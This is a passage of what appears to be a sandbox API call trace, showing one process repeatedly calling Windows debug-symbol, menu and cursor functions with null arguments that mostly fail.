SymCleanup (hProcess=0x0) returned 0 [0141.103] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.103] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.103] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.103] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.103] GetLastError () returned 0x579 [0141.103] SetLastError (dwErrCode=0x579) [0141.103] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.103] SymCleanup (hProcess=0x0) returned 0 [0141.104] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.104] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.104] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.104] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.104] GetLastError () returned 0x579 [0141.104] SetLastError (dwErrCode=0x579) [0141.104] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.104] SymCleanup (hProcess=0x0) returned 0 [0141.104] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.104] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.104] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.104] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.104] GetLastError () returned 0x579 [0141.104] SetLastError (dwErrCode=0x579) [0141.104] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.104] SymCleanup (hProcess=0x0) returned 0 [0141.104] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.104] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.104] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.104] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.104] GetLastError () returned 0x579 [0141.104] SetLastError (dwErrCode=0x579) [0141.104] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.104] SymCleanup (hProcess=0x0) returned 0 [0141.104] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.104] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.104] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.104] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1145, param_4=313, param_5=0x0, param_6=0x0) returned 0 [0141.104] GetLastError () returned 0x579 [0141.105] SetLastError (dwErrCode=0x579) [0141.105] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.105] SymCleanup (hProcess=0x0) returned 0 [0141.105] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.105] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.105] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.105] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.105] GetLastError () returned 0x579 [0141.105] SetLastError (dwErrCode=0x579) [0141.105] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.105] SymCleanup (hProcess=0x0) returned 0 [0141.105] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.105] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.105] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.105] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.105] GetLastError () returned 0x579 [0141.105] SetLastError (dwErrCode=0x579) [0141.105] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.105] SymCleanup (hProcess=0x0) returned 0 [0141.105] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.105] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.105] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.105] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.105] GetLastError () returned 0x579 [0141.105] SetLastError (dwErrCode=0x579) [0141.105] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.105] SymCleanup (hProcess=0x0) returned 0 [0141.105] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.105] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.105] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.106] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.106] GetLastError () returned 0x579 [0141.106] SetLastError (dwErrCode=0x579) [0141.106] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.106] SymCleanup (hProcess=0x0) returned 0 [0141.106] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.106] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.106] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.106] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=232, param_4=581, param_5=0x0, param_6=0x0) returned 0 [0141.106] GetLastError () returned 0x579 [0141.106] SetLastError (dwErrCode=0x579) [0141.106] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.106] SymCleanup (hProcess=0x0) returned 0 [0141.106] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.106] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.106] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.106] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.106] GetLastError () returned 0x579 [0141.106] SetLastError (dwErrCode=0x579) [0141.106] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.106] SymCleanup (hProcess=0x0) returned 0 [0141.106] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.106] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.106] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.106] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.106] GetLastError () returned 0x579 [0141.106] SetLastError (dwErrCode=0x579) [0141.106] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.106] SymCleanup (hProcess=0x0) returned 0 [0141.106] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.106] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.107] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.107] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.107] GetLastError () returned 0x579 [0141.107] SetLastError (dwErrCode=0x579) [0141.107] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.107] SymCleanup (hProcess=0x0) returned 0 [0141.107] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.107] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.107] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.107] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.107] GetLastError () returned 0x579 [0141.107] SetLastError (dwErrCode=0x579) [0141.107] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.107] SymCleanup (hProcess=0x0) returned 0 [0141.107] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.107] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.107] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.107] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=81, param_4=750, param_5=0x0, param_6=0x0) returned 0 [0141.107] GetLastError () returned 0x579 [0141.107] SetLastError (dwErrCode=0x579) [0141.107] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.107] SymCleanup (hProcess=0x0) returned 0 [0141.107] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.107] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.107] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.107] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.107] GetLastError () returned 0x579 [0141.107] SetLastError (dwErrCode=0x579) [0141.107] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.108] SymCleanup (hProcess=0x0) returned 0 [0141.108] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.108] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.108] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.108] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.108] GetLastError () returned 0x579 [0141.108] SetLastError (dwErrCode=0x579) [0141.108] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.108] SymCleanup (hProcess=0x0) returned 0 [0141.108] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.108] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.108] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.108] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.108] GetLastError () returned 0x579 [0141.108] SetLastError (dwErrCode=0x579) [0141.108] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.108] SymCleanup (hProcess=0x0) returned 0 [0141.108] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.108] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.108] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.108] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.108] GetLastError () returned 0x579 [0141.108] SetLastError (dwErrCode=0x579) [0141.109] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.109] SymCleanup (hProcess=0x0) returned 0 [0141.109] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.109] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.109] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.109] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1055, param_4=462, param_5=0x0, param_6=0x0) returned 0 [0141.109] GetLastError () returned 0x579 [0141.109] SetLastError (dwErrCode=0x579) [0141.109] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.109] SymCleanup (hProcess=0x0) returned 0 [0141.109] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.109] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.109] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.109] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.109] GetLastError () returned 0x579 [0141.109] SetLastError (dwErrCode=0x579) [0141.109] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.109] SymCleanup (hProcess=0x0) returned 0 [0141.109] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.109] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.109] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.109] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.109] GetLastError () returned 0x579 [0141.109] SetLastError (dwErrCode=0x579) [0141.109] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.109] SymCleanup (hProcess=0x0) returned 0 [0141.109] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.109] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.109] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.109] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.110] GetLastError () returned 0x579 [0141.110] SetLastError (dwErrCode=0x579) [0141.110] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.110] SymCleanup (hProcess=0x0) returned 0 [0141.110] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.110] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.110] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.110] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.110] GetLastError () returned 0x579 [0141.110] SetLastError (dwErrCode=0x579) [0141.110] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.110] SymCleanup (hProcess=0x0) returned 0 [0141.110] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.110] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.110] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.110] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=428, param_4=237, param_5=0x0, param_6=0x0) returned 0 [0141.110] GetLastError () returned 0x579 [0141.110] SetLastError (dwErrCode=0x579) [0141.110] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.110] SymCleanup (hProcess=0x0) returned 0 [0141.110] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.110] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.110] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.110] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.110] GetLastError () returned 0x579 [0141.110] SetLastError (dwErrCode=0x579) [0141.110] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.110] SymCleanup (hProcess=0x0) returned 0 [0141.110] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.110] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.110] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.111] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.111] GetLastError () returned 0x579 [0141.111] SetLastError (dwErrCode=0x579) [0141.111] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.111] SymCleanup (hProcess=0x0) returned 0 [0141.111] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.111] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.111] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.111] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.111] GetLastError () returned 0x579 [0141.111] SetLastError (dwErrCode=0x579) [0141.111] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.111] SymCleanup (hProcess=0x0) returned 0 [0141.111] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.111] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.111] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.111] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.111] GetLastError () returned 0x579 [0141.111] SetLastError (dwErrCode=0x579) [0141.111] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.111] SymCleanup (hProcess=0x0) returned 0 [0141.111] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.111] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.111] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.111] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=889, param_4=892, param_5=0x0, param_6=0x0) returned 0 [0141.111] GetLastError () returned 0x579 [0141.112] SetLastError (dwErrCode=0x579) [0141.112] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.112] SymCleanup (hProcess=0x0) returned 0 [0141.112] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.112] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.112] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.112] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.112] GetLastError () returned 0x579 [0141.112] SetLastError (dwErrCode=0x579) [0141.112] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.112] SymCleanup (hProcess=0x0) returned 0 [0141.112] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.112] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.112] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.112] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.112] GetLastError () returned 0x579 [0141.112] SetLastError (dwErrCode=0x579) [0141.112] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.112] SymCleanup (hProcess=0x0) returned 0 [0141.112] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.112] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.112] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.112] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.112] GetLastError () returned 0x579 [0141.112] SetLastError (dwErrCode=0x579) [0141.112] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.113] SymCleanup (hProcess=0x0) returned 0 [0141.113] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.113] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.113] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.113] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.113] GetLastError () returned 0x579 [0141.113] SetLastError (dwErrCode=0x579) [0141.113] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.113] SymCleanup (hProcess=0x0) returned 0 [0141.113] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.113] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.113] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.113] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=572, param_4=340, param_5=0x0, param_6=0x0) returned 0 [0141.113] GetLastError () returned 0x579 [0141.113] SetLastError (dwErrCode=0x579) [0141.113] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.113] SymCleanup (hProcess=0x0) returned 0 [0141.113] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.113] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.113] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.113] TrackPopupMenuEx (param_1=0x0, 